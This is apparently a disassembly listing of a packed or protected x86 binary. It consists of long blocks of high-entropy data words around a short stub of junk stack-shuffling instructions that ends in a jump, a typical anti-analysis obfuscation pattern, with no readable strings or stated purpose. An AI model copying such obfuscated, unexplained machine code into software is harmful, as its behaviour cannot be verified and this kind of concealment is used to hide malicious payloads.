2C694F6Ch dd 0BFFAE0FDh, 4B896F8Ch, 0E3FF0320h, 516E99D7h, 0E6032A6Bh dd 7996C100h, 9265993h, 0E9AD5B3Ch, 0F5132617h, 4C7BBE9Ch dd 0AA3A1CEBh, 0E7CD6ABEh, 7B617EA9h, 0C3F10E41h, 4A7176Fh dd 32294D56h, 5402B91Ch, 13200B12h, 8BCA269Ch, 0C5D0FE60h dd 5280AFEBh, 1131EB88h, 7113200Bh, 12D60437h, 179A7D6h dd 74DBC3B2h, 4709A2D3h, 594526C6h, 0CCh, 5588C21Fh, 0D88283B2h dd 986EFAD1h, 417F43FBh, 0D26727D5h, 0F16716C9h, 7C56618Fh dd 0BD77143Bh, 16C9DF4Ch, 0FC194C86h, 0BE00AECFh, 4016C9D1h dd 0D472DCAh, 215D37DAh, 5DFAC4F2h, 0C6368EA5h, 0DED87523h dd 0B0261C32h, 92025A93h, 4B3541EFh, 0C33919C6h, 0DD084620h dd 0C47293C0h, 16CB6182h, 13F9960Ch, 0EB79AAD5h, 0FA6F727Ch dd 0F44602h, 11510000h, 0ABE7CDEAh, 3C795F7Ch, 0CF0AF00Dh dd 5B997F9Ch, 0D30F1330h, 617EA9E7h, 0F6133A7Bh, 89A6D110h dd 193669A3h, 0F9BD6B4Ch, 5132614h, 84C2CEACh, 1C563C59h dd 0DE939Ah, 0C9020C52h, 6B1C9216h, 0E2444956h, 2E701E3Fh dd 0B016C9B8h, 0A5E9973Ah, 2916C9B8h, 416F16B3h, 0B25588C2h dd 126E99D8h, 0AE78A6D5h, 5B955911h, 6CAB8528h, 0A6491341h dd 0C91AB6F8h, 25C23816h, 7DED457Eh, 1A752CDAh, 77D1C34h dd 0A8DB15D9h, 0E96BA58Bh, 0C7D61877h, 80383649h, 49448B91h dd 0BF5785E7h, 36D4D876h, 1CCA3674h, 3FD0D05Ah, 5E8CEE64h dd 432599Ah, 0A7D50440h, 9ED774DDh, 3E375A00h, 0DCF92C66h dd 5B89BCF6h, 0EE2F5C97h, 1ECF99C7h, 633E20CFh, 0A9D739EAh dd 7D274EC5h, 0ABDA1643h, 31145A08h, 249A3FD0h, 85BFA5C2h dd 3682452h, 0A8000000h, 82C233A1h, 2F692D5Bh, 0CB0ACEFCh dd 6DAE72A0h, 16541846h, 0BBF9BDEBh, 639E6290h, 13E0230h dd 0A4E0A4D2h db 75h, 47h, 86h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi push 3513h mov [esp], eax push 2AC6h mov [esp], ebx push edi push 5EF00AAh pop edi mov eax, edi pop edi push esp mov ebx, [esp] add esp, 4 sub esp, 4 mov [esp], eax pop dword ptr [ebx+8] push dword ptr [esp] pop ebx add esp, 4 mov eax, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_5461C3 ; --------------------------------------------------------------------------- db 88h, 3Dh, 0F1h dd 8B4198D2h, 0B8A2581Eh, 5EF0F8Ah, 0E0FFC503h, 372050B9h dd 122DC501h, 197FAD31h, 280B1834h, 49E26431h, 7BF9DDF1h dd 6CA6721Eh, 1C5775A6h, 400F4328h, 54D58E9h, 0B3690C4h dd 31CDE4E1h, 2562417Dh, 0DE8h, 0D9C73200h, 98345203h dd 96AD8303h, 0FE978BBh, 29000000h, 44755BCh, 44DDE7E2h dd 83AF72DBh, 525BC2B9h, 5AC38B66h, 760CC381h, 0BA660000h dd 71B96DD3h, 8168B757h, 0B73A2AE9h, 338BF568h, 12E8h dd 4063D400h, 8143CF37h, 0ADD949A5h, 2CF9004h, 8A98BDE7h dd 0EE815AD7h, 6101DA67h, 9E9h, 0E1010900h, 0B43F5A50h dd 0EE8116A6h, 26ED0806h, 0B810Fh, 6E90000h, 0AB000000h dd 51E3E5ABh, 95C6819Ah, 0BA00C01Eh, 98C571h, 0B1606056h dd 0F08166E1h, 6061BDCAh, 5B535F56h, 38F6161h, 0DE9h, 5FB2BA00h dd 8AC2A5C0h, 4655B5E7h, 0EB83F3B2h, 8A0F6004h, 2, 816644B7h dd 61BDF8D2h, 0F01E983h, 1085h, 0C78B6600h, 1CE9h, 5F4F2100h dd 33005787h, 0E9D08A59h, 0FFFFFF56h, 7BE68ABBh, 3ADAB403h dd 0CEB371AEh, 17DE914h, 5D600000h, 16C4FFEh, 0D1D76FC2h dd 41EFB4CAh, 52E45B7Eh, 0FB6D5D97h, 9244FCA3h, 92A59EB9h dd 0E495BCD7h, 0CB0093B9h, 0A3F49DB2h, 0B9FC9CACh, 45D2009Eh dd 0EE73AFC9h, 9755FC00h, 6D599CBAh, 0FFB2A4E5h, 0F647FEACh dd 0D4C45657h, 0B5F600CCh, 49F78F7Dh, 0FA975395h, 0CD45C9BCh dd 6CA1915Ch, 0ACE5h, 1, 42h dup(0) dd 0F8000000h, 0A43736D1h, 6AD3C20Dh, 0E90AA1F7h, 107Bh dd 0EF149768h, 3767E905h, 9E68FFFBh, 0E905EF15h, 0FFFB375Dh dd 0EF16DD68h, 3753E905h, 0AE68FFFBh, 0E905EF17h, 0FFFB3749h dd 0EF191A68h, 373FE905h, 1F68FFFBh, 0E905EF1Ah, 0FFFB3735h dd 0EF1ADF68h, 372BE905h, 4168FFFBh, 0E905EF1Bh, 0FFFB3721h dd 0EF1C3168h, 3717E905h, 0D568FFFBh, 0E905EF1Ch, 0FFFB370Dh dd 0EF1D9A68h, 3703E905h, 6668FFFBh, 0E905EF1Eh, 0FFFB36F9h dd 0EF1F3B68h, 36EFE905h, 8D68FFFBh, 0E905EF20h, 0FFFB36E5h dd 0EF217C68h, 36DBE905h, 50B0FFFBh, 1379BC8Bh, 0E74A8D5Ch dd 0BA1E6130h, 8AEF3201h, 493B00CFh, 0B1803BA0h, 7F4E0D6Eh dd 4F1ED53Ch, 22F1AA0Ch, 99413C9Dh, 2D851E4h, 97F9E7DCh dd 637623E0h, 0A78D4A01h, 8942A4C9h, 9F502EBAh, 0D6CBDB8h dd 0EF35E3A8h, 0F728532h, 416D7A58h, 6AD857E1h, 0A7DEE9AAh dd 0BE367DFEh, 0ECB612D2h, 97A096D2h, 4B9977h, 75D88C30h dd 46h, 25DEB0D6h, 0E8C1073Eh, 1C8DF1C7h, 0CBD8D33Eh, 0A2E3A850h dd 0FC92D8Fh, 0A1298982h, 0C5563454h, 4F73C27Fh, 0A4D857C3h dd 5FC68340h, 0FE823FFAh, 360B4310h, 84C72576h, 35D88BD5h dd 2C0AC122h, 0DC7Dh, 97F9DE00h, 57BC23E0h, 0D932DF9Ch dd 0BEF7F4DEh, 7B599FDDh, 7633F456h, 1FEEAD0Fh, 0BEFB38F4h dd 0B9F153DDh, 0BC51F753h, 0FB89FE37h, 0C1D4BBDBh, 6ECA960h dd 3092D528h, 740ABA77h, 403B947Bh, 0DDBEAC96h, 0B51ABB01h dd 7D5B41FEh, 40A6B912h, 6E4CA87h, 0A8411CF9h, 0D7D22BE3h dd 0D85788EFh, 0E3745298h, 3245CE9Dh, 0CA3816CDh, 0FB543BB4h dd 0FF538FC4h, 0E3C138B4h, 43752CD6h, 0AA91D7E6h, 93F63297h dd 113117D4h, 0DF9AFF42h, 0D2CE56ECh, 8FFFC2CBh, 0DD4h dd 7A490262h, 4B1AD137h, 17E6A508h, 0E4B370D4h, 0B6853CA1h dd 0F15693F1h, 0C7286B3Ah, 8BF23504h, 60C205D4h, 0F253D8A7h dd 51E3CFF7h, 9D92B8D8h, 1F037CB3h, 0F10D4C8Bh, 5189EE13h dd 4A1939F0h, 17E6A507h, 25DEB0C0h, 8BE433Eh, 0FA0DE3A8h dd 0D53CDD96h, 9D7B611Eh, 0BA09C60Ch, 0D857E614h, 48BAF7B7h dd 0D88BB303h, 873EA1B4h, 0DFFAA9h, 16290000h, 5036F3B4h dd 97F93972h, 0F7B41E19h, 99DFDDBEh, 0F055BC79h, 772D7C39h dd 8CDDBEFBh, 5FA2712Ah, 9F56BDFDh, 443F987Fh, 0DDBEF29Ah dd 0A0E1BF05h, 379F9AF3h, 60DDBEF2h, 0B0CE3C1Ah, 0B85D583Fh dd 8FE3A81Fh, 82601B7Ch, 50DCABF1h, 0E3DEC53Eh, 0E6438528h dd 6FC8AFF5h, 5699FE38h, 6480DD08h, 4A4C1120h, 75D67703h dd 3513F9B6h, 21F0AB10h, 0D68B6198h, 1D2797FDh, 0FEDCFCBBh dd 0FBF674D9h, 0D66A1AD3h, 635676BCh, 0CBD3B0FDh, 0CDFC6C2Fh dd 5B00000Ch, 2E7140FBh, 0FD400FC8h, 0C90CDB9Ah, 9CDFAE65h dd 0E8AD7C37h, 31E84D9Ch, 0FBBE1F62h, 0CB82E92Ch, 0A057B9FCh dd 0F0EB4CD1h, 0D851E2C6h, 0B3968BB1h, 1626B67Ch, 6560F30Eh dd 0DDBED57Dh, 0E2C0E026h, 0D2A158BDh, 9F6E2D8Fh, 0E097F948h dd 0C982E6F9h, 0E143AAEBh, 0D18E45A9h, 32E94AEBh, 0A06F8F75h dd 0D7E47A14h, 3886D71Fh, 5A17D032h, 4D345474h, 0A702A152h dd 57145AE3h, 570BDA08h, 744505D8h, 8C9DB596h, 8AEF02D8h dd 4E2C12CFh, 3F9Fh, 0DEB00000h, 0A6433E25h, 0FFE3A805h dd 1ADFCB9h, 0AAD857F9h, 103BA9EAh, 65D88BCBh, 20h, 25DEB0C6h dd 2112433Eh, 458BE3A8h, 0DC953988h, 7636D857h, 0CC84C725h dd 0CF1D88Bh, 52000000h, 8F7F0h, 0A90A1D00h, 0B0DB14F2h dd 433E25DEh, 0E3AE0939h, 0E0392066h, 788830A9h, 0BB99DE9Ch dd 0A4733496h, 8B48FF61h, 6B52A3DBh, 41811370h, 0D7BE04E6h dd 0DAA962C4h, 0B9763597h, 4C1D50Ch, 12CF8AEBh, 0A484672Ch dd 2965D3B1h, 9D98F1D8h, 0D660C035h, 7336975Eh, 0F0A7553h dd 0E87633D2h, 384A3D83h, 0CD1C018h, 0B8ED949h, 0BC1C0000h dd 87ED30FFh, 5BBE01D0h, 268ACD9Ch, 0F65B9E6Dh, 0DDA76C3Bh dd 1DECA70Ch, 0F3C279DAh, 0C39249B0h, 8E5D1E80h, 5ADA809h dd 6ED851E1h, 0A0B35348h, 0DDC3803Bh, 6421DA3Ch, 2F93A07Eh dd 7BDDBEF8h, 0C5DF4D03h, 427DEB61h, 24403B22h, 73E3AE79h dd 0BCD25E2Dh, 86A65DC2h, 8B90A49Fh, 89CFE641h, 6E2D8FA2h dd 8B332E87h, 1AD66063h, 6063B71Fh, 8D9AE0D6h, 0D3166947h dd 7AD3BA71h, 6063577Fh, 1CFA40D6h, 0DB532BDBh, 6063F6E0h dd 9994A1D6h, 0D6606331h, 0D4F4145Ah, 9C85F2EDh, 387EE870h dd 1BDC3E51h, 0F0A7094Ch, 51F8E433h, 0B4CA4C73h, 0E8FB543Bh dd 0D9E6C487h, 726A5B84h, 3DFE6073h, 9588CE5Fh, 57B1F0DFh dd 0BD1A8A4Dh, 4B00000Ah, 1E6130EBh, 0ED30FFB8h, 0B9FCCB8Ah dd 8CCF9E55h, 0D89D6C27h, 21D83DACh, 0EBAE0F52h, 0BB72D91Ch dd 9047A9ECh, 0E0DB3CC1h, 0D851E0F6h, 0B3867BA1h, 0F7775F5Ah dd 0DA20DDBEh, 0F7CEF8F3h, 73B9DDBEh, 9E572795h, 8942A4B7h dd 9D08E6CCh, 0AE088AA2h, 0AA0ED5E3h, 2E4E34F1h, 19D23447h dd 6D68C14Ah, 0D851E645h, 0E447E82Eh, 0A4826825h, 0A15E1D7Fh dd 7D649DF1h, 4119FE82h, 7C63A9E6h, 0F0AB1023h, 0CC8BED12h dd 9F58BAFDh, 8443A5B8h, 0C203E1C7h, 9C837C12h, 702A5CA1h dd 0D7D22BE8h, 0CC73C4EFh, 0E3745298h, 41A3B69Dh, 1F32BB8Ah dd 1C17FEBDh, 0CC73C4B2h, 94B997DDh, 0FBC7932h, 0C413BBB6h dd 0A7A2CC73h, 0CC73C43Fh, 0CF152268h, 0C4FEE4F1h, 0B2CCCC73h dd 195F5A41h, 0CEF2633Bh, 2C8EA188h, 0B301A9A4h, 246ACA02h dd 0C9C41D04h, 0CA02B3E1h, 625D448Ah, 0CA02B278h, 0ACFFDD23h dd 0F0AB1023h, 4A6F4D33h, 0C2722FE8h, 154C33CCh, 5F2F33D9h dd 41AC8A4Ah, 12803646h, 433E97F4h, 0C0156D9Bh, 4FE0BE04h dd 78D23064h, 0D2C85A4h, 9F6D32DDh, 0E9A6C6B3h, 0E5EA053Ch dd 4219C1BCh, 3C82C015h, 3DC43077h, 649DF15Fh, 50076A7Dh dd 64CFAD93h, 3030C69h, 0EDE8F5FEh, 0FE2AC3C5h, 554868AEh dd 0E3936919h, 51D04003h, 0DF000009h, 0AAEDBC7Fh, 79BC8B44h dd 4D905F16h, 206332E9h, 6C3100BBh, 0B56CD118h, 8742A3E6h dd 570E75B8h, 24E34588h, 746FD055h, 0D851EE4Ah, 0F91A0F35h dd 0BC23E097h, 61BAA15Ah, 0BEF77C66h, 3E127DDh, 5C933EC2h dd 5A8DE90Dh, 77250338h, 0D88FF13Ah, 0BE7DDEF1h, 0EA3D1B01h dd 0A38CCD7Eh, 7A6D2h, 0F0070000h, 513h, 0EA24B44Fh, 79745B94h dd 0E3A805B0h, 0F9319259h, 0FEBBDB92h, 8C363118h, 0F7D857F8h dd 35C691B1h, 4D0AC122h, 3C7C8967h, 11B523C7h, 0C99FC1DAh dd 7553E22Ah, 977E7707h, 0C69B433Eh, 114C054Ah, 5D6F9903h dd 5AFB414Eh, 0F96442F9h, 5C00DDFEh, 0C380C63Bh, 0A3097B13h dd 0EAE5CCECh, 3D764457h, 97CE2F66h, 975C137Ah, 4321E714h dd 2C856CB2h, 77858931h, 0CEACF239h, 2DEE5063h, 48F30F46h dd 415C3CF9h, 0D862F07Ch, 0AA8897ABh, 0F9B21457h, 0CE385A06h dd 77E7AA24h, 84Ch, 0F2C17ADAh, 0C39249AFh, 8F5E1D80h dd 5C2BE84Ch, 2EFDB419h, 69CE1B69h, 3FA0E3B2h, 36AAD7Ch dd 0D83A7D4Ch, 6ACB501Fh, 51ED476Fh, 150A30D8h, 0F9E097F9h dd 0EAC87FE6h, 26DD42A9h, 59BBCE57h, 21FFE5A2h, 432ADBB3h dd 2C9691EAh, 0C3DDBEF7h, 569CA960h, 0F74A746Fh, 0EF35DDBEh dd 8460411h, 1B61E3AEh, 4BB2134h, 18836147h, 15E4A305h dd 0FAB770D2h, 0A116344Ah, 0B0C5E971h, 2A614868h dd 0F3AE9A6Ah, 93FEDC49h, 41948898h, 99AEE5E6h, 4A9D2101h dd 3441D2B0h, 60FF9139h, 94B4FAD6h, 0DE4154ADh, 0C2244927h dd 45652688h, 1AD13376h, 0DA91F65Dh, 0D955B7E7h, 4EBE81CBh dd 78Ch, 3201BA1Ah, 3D289EFh, 0CF9E5DC0h, 9C6B288Ch, 6E3DF459h dd 0A90EDBA9h, 7FE023F2h, 43AAEDBCh, 187ABD8Ch, 0AA0B905Fh dd 51ED07AFh, 554A70D8h, 3E25DEB0h, 0AE083D43h, 3D246AE3h dd 400FC82Ah, 1FDC9BFDh, 3EFD5F72h, 4FBD9B81h, 0E4DFC63Fh dd 0E647309Fh, 4D0F0248h, 9FCBDF63h, 72A6CDCh, 58B80000h dd 1B81C493h, 0EF529564h, 0C2266938h, 92F73A09h, 414308D7h dd 0B98843A8h, 87561576h, 5726DD44h, 2AF9B214h, 614944A5h dd 0AD851ECh, 97F9EFE4h, 0A5A0F9E0h, 0DDBEF73Dh, 1422066h dd 0C27F389Ah, 0CA03503Eh, 6FC8AF68h, 0BEF74A74h, 4EEF35DDh dd 0FF5230E7h, 0A8B93F76h, 397F0C1Fh, 653E0D5Bh, 737D2A3h dd 98000000h, 2E6F0h, 97F94F00h, 1B7323E0h, 780803EAh dd 2FE3AE09h, 75D71AE9h, 2D92F9B6h, 0C51EA776h, 51E4E0CAh dd 67458BD8h, 856C85F9h, 411CA98Ah, 0A58CD2E6h, 9DB03092h dd 0DDC38037h, 60D26A54h, 0AFCF15D6h, 7C3B9DE0h, 38F358BFh dd 42B3CB7Bh, 24E7485Bh, 0CABC8167h, 6AA552F7h, 0E841AC8Ah dd 12B372D5h, 5137F4ABh, 84BD6673h, 798CE876h, 0BEA46118h dd 1DFBBA1Dh, 6F53468Ch, 0D9D1C0BEh, 63AA616h, 68C80000h dd 2B91D4A3h, 0FF62A574h, 0D2367948h, 0A2074A19h, 315318E7h dd 0C99853B8h, 97662586h, 6736ED54h, 3A09C224h, 715954B5h dd 1AD851EBh, 7CB3FFF4h, 0FE1F77BFh, 6C0626C7h, 75106A2Fh dd 0DF537B76h, 0F63CDDBEh, 71D3F8D6h, 3496FDBAh, 0EE4FB673h dd 0A1076E2Bh, 0BBA92DEAh, 0AF8B6FEh, 69228449h, 4F0A6F82h dd 5E951E71h, 36A5042h, 0E4A98F4Ch, 0F559EC75h, 7B9B813Eh dd 0A4FC4F9Dh, 1079D2A3h, 0DA000000h, 43077CB3h, 3E531387h dd 13A3260h, 0F9910000h, 0DBEDE097h, 69C0075Eh, 59636A6h dd 0C4240000h, 8FF53807h, 63C609D8h, 2E92D5A4h, 0FE63A675h dd 0D5AF7443h, 25F4AF14h, 0FBCA81E2h, 0CB9A51B8h, 96652688h dd 0DB5B011h, 76D851EBh, 97F95B50h, 7C2F9E0h, 662C83A9h dd 0BB226341h, 61E5A259h, 8BED2673h, 918CE5CCh, 0DDBE4629h dd 0DB2E0C52h, 0A36EDC6Fh, 2899D2h, 0F0FA0000h, 0C8h, 5F5AB34Fh dd 0DDBEF777h, 0CEFCDA20h, 0B8h, 0B16BA2FBh, 0EAFBF78Ch dd 9AC5ED76h, 68AEDDBEh, 0DEB0518Ah, 0D2E53E25h, 0B016B770h dd 40C19F7h, 33E3AE09h, 9552096Ch, 25D28FAFh, 0E4E9D1CCh dd 4C92D851h, 758E006Eh, 0BF22358Eh, 87654B08h, 4732157Ah dd 0C5B8FEE6h, 0CBDF63EDh, 0D1047437h, 5F000004h, 2A6D3CFFh dd 0F93C0BC4h, 0CD10DF96h, 0A0E3B269h, 0ECB1803Bh, 35EC5198h dd 7C22366h, 0D78EF538h, 0A463C508h, 0F4EF50D5h, 0D851EACAh dd 0B39A8FB5h, 0C58239A0h, 21DA3EDFh, 32A07E64h, 5BE225Ch dd 4203FEE5h, 5BE3A845h, 0B81B2E15h, 0DA073201h, 37D857B8h dd 793095D5h, 0E4478A59h, 6DF86825h, 57000004h, 3E25DEB0h dd 0E56EEF07h, 0FFDDDD70h, 77979994h, 7AC0E3AEh, 0B9710DBDh dd 516714BEh, 0AAA5D8h, 6BD85167h, 0B2D21825h, 0B1A3D0CBh dd 677AE647h, 0A58B4803h, 87981FE0h, 0C6A41389h, 0D4CF2835h dd 0D66631EAh, 1CC64F95h, 0F3D66631h, 0DEC9D68Dh, 0CDDBFFB7h dd 0AF50703Bh, 786B8B4Eh, 0CBDF908Ch, 5AD1DE0h, 93000004h dd 66A97833h, 35784700h, 14413D2h, 0D417E69Dh, 20E5B46Fh dd 69208564h, 33F6579Ah, 3BA2164h, 0D88FF134h, 28238409h dd 0D851E9BEh, 0B0CEC3E9h, 0E53E25DEh, 0F729918Ch, 719ADDBEh dd 7D4E9967h, 351C626Fh, 0BED9903Ah, 0D7B5FBDDh, 0AE2742CAh dd 0C0A7EDE3h, 0C1E74BADh, 3688C741h, 73B685A5h, 1A735A11h dd 5132B71Fh, 0BC9AE0D8h, 42B3CB7Bh, 0CD23605Bh, 0E31AE641h dd 0D1650527h, 76DB7C33h, 64CDDBBh, 0EEA50C1Fh, 512FE64Dh dd 0BA71D3E6h, 0E046A8EBh, 0D7303D68h, 98423D7Bh, 3D6607Ch dd 0BBB69DBDh, 0D6607C13h, 5916367Ch, 351CD5A9h, 768FE53Ah dd 0FC9DD4E8h, 0F9E924F3h, 4A57E8C6h, 792E674Fh, 0AACA10CCh dd 0C087CBB7h, 0E25215D1h, 330h, 0CE9D5EBEh, 9F6E258Bh dd 7342F95Ch, 400FCC30h, 12E198FDh, 4DB2374Dh, 2384C796h dd 0EF569968h, 0C4266938h, 4EAF3403h, 51E86B53h, 0F9EE14D8h dd 0F9E097F9h, 5DF3EDC2h, 0E7ACAF81h, 5426E06Eh, 62A3813Fh dd 13E299FBh, 1A7DF787h, 908338B6h, 0E202D855h, 381F3F25h dd 0B269CCDFh, 24310FF5h, 0E3A896C3h, 4A99569Ch, 0D8574664h dd 0BBCA8747h, 467F6762h, 1B28D857h, 5746B620h, 7B9BE1D8h dd 6EFC4F9Dh, 2C79D88Ch, 0DA000000h, 3E25DEB0h, 0B86FD2E5h dd 2A3715FBh, 0E3A808A5h, 0E6A507CEh, 66234329h, 57E6AB17h dd 75414D8h, 8BB2A6A5h, 0DCCFD8h, 0F9300000h, 0A0F9E097h dd 0BEF73DA5h, 0B66DD2DDh, 0C00613F9h, 0F7F4DED9h, 599FDDBEh dd 6ED33A7Bh, 3649F6B3h, 107516D5h, 0F4567B59h, 0AD0F7633h dd 3D961FEEh, 0BEF79842h, 0D6BD03DDh, 0BEF7F3DBh, 78569CDDh dd 0BEFBB16Bh, 0AF68CADDh, 0CD53B5C8h, 0BEF2E8D2h, 2D4D93DDh dd 57B9FC4Fh, 0CF82B9A0h, 0BF7ADF23h, 31571C02h, 0DD1EFC31h dd 0B9A0512Dh, 0A7F8CDBEh, 0C190D6E3h, 0C1A85935h, 43B947C6h dd 331A60E6h, 3100BB20h, 622D89EEh, 80B3A628h, 8F897C9Ch dd 0DDCBD30Dh, 1DEAA1Ah, 0C6C0000h, 0D73D804Fh, 0AB0E5120h dd 76DA1DECh, 46ABEEBDh, 8DF7BC8Bh, 6D3CF75Ch, 4312C92Ah dd 13E29900h, 0DEAD6ED0h, 0D5FDF859h, 0BED851D7h, 94F9A398h dd 69CB0EDDh, 52B8CBB2h, 18F6DC99h, 7CB36EC5h, 4B2FF7AFh dd 2A987628h, 0B9B49B54h, 0E3A8B334h, 6D55505Dh, 16D8573Bh dd 46F3B0D0h, 3BC8F2EDh, 6DB3D857h, 3B5C828Fh, 0BF7FD857h dd 6D3B10F2h, 0AF38D88Ch, 99000000h, 0F9E097F9h, 0F73DA5A0h dd 2066DDBEh, 359A0142h, 2384977Eh, 0FA498A68h, 0DDBEFB22h dd 2A03DC13h, 984CF58Bh, 743395BAh, 0A5091CA5h, 6D4B31EEh dd 6825E648h, 462DC6B8h, 0A76BBA4Bh, 4E1D63E3h, 0A6558EC5h dd 0D3E66A5Dh, 7DF787F5h, 563D5D1Ch, 0C2D802FDh, 7DC3D857h dd 6939349Fh, 32E64399h, 8DF205ECh, 5FC407D6h, 0B5A9B1A4h dd 38FBCBD3h, 0EFC8h, 5E1D7D00h, 2DE64C8Fh, 1B81B5Eh, 0D08BEF32h dd 0A259BE01h, 73760ED3h, 4184530Eh, 175A29E0h, 0E72AF9B0h dd 72F7C685h, 0D6AC1611h, 0B1D7D851h, 0DD94F9BCh, 0B269CB0Eh dd 97F98CE3h, 7E3BFE5Fh, 7E917898h, 0F6A36017h, 0BEF7D3FBh dd 5676BCDDh, 6ED03778h, 4EB3C6ADh, 0F7E9D1CCh, 4C92DDBEh dd 604A452Ch, 0BDDBEF7h, 894E7C5h, 9B967D76h, 0E3AE09E9h dd 0AF66C9DCh, 13FA40D1h, 0DB81B3DCh, 16F49B49h, 4B0C6ED5h dd 9FD7397Ch, 0DCC27F3Ah, 23B0FFBCh, 72E8E291h, 0FE6095E6h dd 0E143563Dh, 0CF8C43A9h, 260CC9E9h, 0AC692085h, 5295E8C6h dd 0CD7A37F0h, 0D9517974h, 0F43AC880h, 0D68DF116h, 0C279DCEFh dd 123EA3E4h, 0F2ED4641h, 0C880D9C8h, 6A8F6DB3h, 0EA12AA08h dd 1A6A1D96h, 86E82BFAh, 3DA4DE44h, 89466686h, 319h, 0C27D7800h dd 25E299F9h, 0DE9B5CBEh, 9C591077h, 5815D435h, 18D58CF1h dd 0D8954CB1h, 99560D71h, 5B18CF32h, 18D58EF4h, 4EC8181h dd 89000000h, 0E2892414h, 4C281h dd 0EA830000h, 24148704h, 0E689565Ch, 4C681h, 0EE830000h dd 24348704h, 240C895Ch, 81E78957h, 4C7h, 4EF8100h, 87000000h dd 895C243Ch, 0C4682434h, 89000077h, 5D68242Ch, 5D7B4664h dd 7714F581h, 0E9897EA9h, 1597685Dh, 24890000h, 24048324h dd 52515E04h, 0BB5AEABAh, 24543173h, 468F5A04h, 8768108h dd 73BB5AEAh, 5E2434FFh, 4C481h, 34FF0000h, 0C4815924h dd 4, 0FB2700E9h, 0E3DDFFFh, 162CFF0h, 0B8A6A684h, 5EF2290h dd 0E0FFC503h, 7AE120F9h, 56B1CE4Ah, 0AD98255h, 5A917D65h dd 7B96743Ch, 424804EBh, 83E940EEh, 6C000005h, 2E8052Ch dd 947A97C6h, 250B2857h, 0B49AB7EAh, 2A2E4B76h, 99C402B8h dd 2E55967Ch, 0C1EC2B11h, 5184BEA4h, 0D8866734h, 13263996h dd 0C2E1BF18h, 63275588h, 0F7DDFA25h, 985C8ABDh, 39FD2B5Eh dd 92A0CEFDh, 2857066Fh, 9A376BE6h, 4CCF8050h, 85049F39h dd 195339D6h, 0C29CC9E6h, 0D1B75487h, 1D4A6792h, 0A4E10243h dd 1B7D4775h, 0A08623EDh, 44083661h, 5F39DC03h, 9F57F423h dd 2C3144BBh, 0BBE91452h, 2F6E54F1h, 0A95115C3h, 0E75D16C9h dd 48826885h, 0BBDCE715h, 0C9A9490Dh, 42DF5516h, 0C9A9BB88h dd 99DCFB16h, 0CF644E12h, 97275640h, 0B8252698h, 5B0526C3h dd 0CB000000h, 275588C2h, 0C91ACD8Fh, 8FE60516h, 0CFD7741Ch dd 16C40h, 0C2320000h, 1E295786h, 1A0F4FFDh, 0CA8F16C9h dd 7DA9F658h, 1CB91B6Eh, 9DCBFA36h, 557AB892h, 0F4BEEC17h dd 0FD9A6492h, 7BA9DC17h, 3B78526Dh, 0D3C874BDh, 0EB4DE10Fh dd 2156F3BDh, 0E5145054h, 75A8E2C8h, 84C22A58h, 0A1DCB659h dd 1A3F7F2Dh, 49BF16C9h, 0B6F5B9E7h, 31935D8Bh, 0CB689BD5h dd 39E70813h, 16C91A75h, 80660379h, 0F7E71544h, 598CC6A0h dd 8FC4612Bh, 5B80BEE6h, 5E75A41Ah, 6634C6C8h, 9F85A204h dd 0F9043265h, 1AB7DE1Fh, 93CEF734h, 6683260h, 0D6809D8h dd 0DEE02150h, 0CA3AD02Fh, 26924E2Dh, 81A240CFh, 0C9F393D3h dd 8A51B16h, 8BE7h, 84C2AD00h, 0FF202B59h, 0C91A0D51h dd 7E1B9116h, 0C3DD5B98h, 0C404AA9h, 9C608EF0h, 4105335Eh dd 0E7ABD900h, 854F7DA8h, 0A8F67F1Ch, 0E96DF02h, 0A288A5D0h dd 470B3964h, 0DCABD90Ch, 0BF713A3Bh, 0D140CFDEh, 74h dd 5984C297h, 0FD28672Bh, 0A1CC0BCFh, 0F4BA6873h, 0FA16C91Ah dd 0BCEB2884h, 5E8DCA8Eh, 0BEE095B8h, 984667AEh, 16C91AD6h dd 11BF62D8h, 16C91A4Dh, 93EDB51h, 0D5FA386Ch, 0CF32189Ah dd 0DD453F8Bh, 0CEFC197Bh, 235D86C2h, 0C8608EF0h, 16C91AFBh dd 6F9DC807h, 15436AABh, 0BBE91051h, 8AEB88F1h, 0FBD5EC14h dd 0C0F592BDh, 0D72AF6B5h, 14640CFh, 0C000000h, 3762A17Bh dd 0BCA23F09h, 5E22507Fh, 0DFC3F124h, 5A970D68h, 0B2E10E2Bh dd 0D2313B80h, 0DA13B092h, 0ABDE1882h, 0AE51B37Dh, 386699D4h dd 0F6A4D16Eh, 1C31636Dh, 0EAF52399h, 74A2D510h, 0ED270DAAh dd 7DB79DBAh, 0C0841C4Ah, 0C61320A9h, 6A2E5C87h, 59D1FF2Eh dd 23336B0Ah, 490DBBDCh, 551320A9h, 453F2EDFh, 0B66A068Eh dd 1391E419h, 0A389A6D9h, 64933669h, 0D8199B71h, 1A1000B1h dd 7337EF8Ch, 14D80639h, 4271AED7h, 0BAE84A14h, 5D8BBAF6h dd 37670E6Dh, 7F2550AFh, 956F1245h, 30FA285Bh, 430DEC93h dd 5D45268Bh, 151h, 0A7176F23h, 9FD5604h, 0B3291C32h, 5FA07A85h dd 8F400A38h, 2AECA481h, 0C7AD4A09h, 88B75A8Dh, 0A03CB1E1h dd 30D7748Ah, 0AFDD104Ah, 507EB1EBh, 0F4224D8Ch, 95C3F630h dd 8D116487h, 0D5CFA605h, 6C4B689Bh, 452659A4h, 42BCh dd 186F8200h, 8E203A6h, 3863A2CBh, 41DE400Ah, 0C9191787h dd 73A11716h, 0C91A9BDBh, 4E7D1216h, 0DC8A04ADh, 16C9279Ah dd 7EFDAE24h, 4A7F1CB8h, 5DCF262Bh, 0E59A0CBAh, 2EA416C9h dd 0C33311h, 6F730000h, 4170AD17h, 4977AAE5h, 0CC7A1D7Fh dd 1C321ECFh, 0BAE122FCh, 0D6843B1Dh, 13201690h, 5705A81Eh dd 13201617h, 91BF2197h, 436093CDh, 4DF0235Dh, 6D0A3573h dd 16E61DB5h, 25741320h, 0ED1A5450h, 4C5785ACh, 2016D89Eh dd 0E70E613h, 3AE809ACh, 13201674h, 0C067047Ah, 1CBF2F87h dd 0DAFAE16Eh, 0C9F76D19h, 54738FBEh, 86E6D0DAh, 20EA184Bh dd 13B21BEh, 17512BCEh, 0CB8F47E4h, 7135638Ah, 0CBD90732h dd 55D1CDA8h, 0C787B7E6h, 0EC0B2C36h, 0DEDB9B49h, 6DE316CFh 